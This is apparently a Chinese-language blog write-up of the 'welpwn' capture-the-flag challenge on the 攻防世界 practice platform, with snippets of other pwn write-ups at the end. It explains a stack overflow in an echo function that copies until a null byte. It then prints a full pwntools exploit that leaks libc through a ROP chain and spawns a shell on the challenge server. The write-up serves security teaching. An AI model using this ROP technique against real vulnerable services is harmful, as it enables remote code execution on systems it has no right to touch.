PWN系列 攻防世界pwn高階區welpwn分析

2021-10-24 15:52:56 字數 2488 閱讀 3753

個人部落格位址

函式**也比較簡單。read那裡也不存溢位。都是0x400。

緊接著呼叫了echo函式。

在echo函式中,將大小為0x400的buf中的值複製給大小為0x10的s2,。很明顯會造成溢位。唯一的問題就是,如果buf中含有\x00。會中斷迴圈。

函式執行的整體流程就是,使用者輸入的字串會存放到buf中,在echo函式中,將buf複製到s2時造成了溢位。通過迴圈逐字節複製,如果讀取到00位元組,則會中斷迴圈。

這會影響我們的rop構造,因為我們尋找的gadgat都會存在00位元組

這是64位的程式,傳參基本都在暫存器裡。所以棧結構大致如下。

因為00截斷的原因,所以我們不能直接rop,我們將rop鏈移到buf中,pop_4_ret的作用就是pop掉buf中的"a"*0x10+"bbbbbbbb"+pop_4_ret。然後再buf中進行rop。

p64(pop_4_ret)中是含有00的,如下圖,紅框中的就是p64(pop_4_ret)。所以s2實際上是27個位元組。

明白這點後,後面就是普通的洩露函式實際位址,找libc基址,構造rop了。

from pwn import *

from libcsearcher import *

context.log_level="debug"

# p = process("./welpwn")

p = remote("220.249.52.133",55728)

elf = elf("welpwn")

start = elf.symbols['_start']

write_got = elf.got['write']

puts_plt = elf.plt['puts']

pop_rdi = 0x00000000004008a3

pop_4_ret = 0x000000000040089c

p.recvuntil("rctf\n")

payload = ""

payload += "a"*0x10

payload += "bbbbbbbb"

payload += p64(pop_4_ret)

payload += p64(pop_rdi)

payload += p64(write_got)

payload += p64(puts_plt)

payload += p64(start)

p.sendline(payload)

print "----"+p.recv(1024)

print "----"+p.recv(27)

write = u64(p.recv(6).ljust(8,'\x00'))

log.success("write = "+hex(write))

obj = libcsearcher("write", write)

write_offset = obj.dump("write")

system_offset = obj.dump("system") #system offset

sh_offset = obj.dump("str_bin_sh") #/bin/sh offset

libc_base = write - write_offset

log.success("libc_base = "+hex(libc_base))

# p.recvuntil("rctf\n")

payload = ""

payload += "a"*0x10

payload += "bbbbbbbb"

payload += p64(pop_4_ret)

payload += p64(pop_rdi)

payload += p64(libc_base + sh_offset)

payload += p64(libc_base + system_offset)

p.sendline(payload)

p.interactive()

歡迎一起學習交流,共同進步,歡迎加入資訊保安小白群

攻防世界PWN題解答

通過ida開啟程式,f5鍵生成c的 如下 int cdecl main int argc,const char ar const char envp ssize t vulnerable function 很明顯,vulnerable function的read函式有注入點,可以複寫vulnerab...

攻防世界 pwn 100

如上圖,這道題很簡單粗暴,直接暴露溢位點,但是需要注意的是,每次輸入讀200!這點下面會有坑。思路 利用rop洩露出read的位址,利用libsearch獲得system和 bin sh的位址。這些都是常規流程。但是,有一點要注意,在傳送payload的時候,一定不能使用sendline或者send...

攻防世界 pwn1 wp

先看保護 除了pie全開了。開啟ida分析 因為有canary保護所以要想辦法洩露canary,回頭看那個棧溢位漏洞,發現可以利用先傳送0x88個a過去 後面會自動給你爆出canary,有了canary之後,就簡單了,所以思路就是 先利用棧溢位漏洞獲取canary,再利用拼接的方法將前面的填充補全之...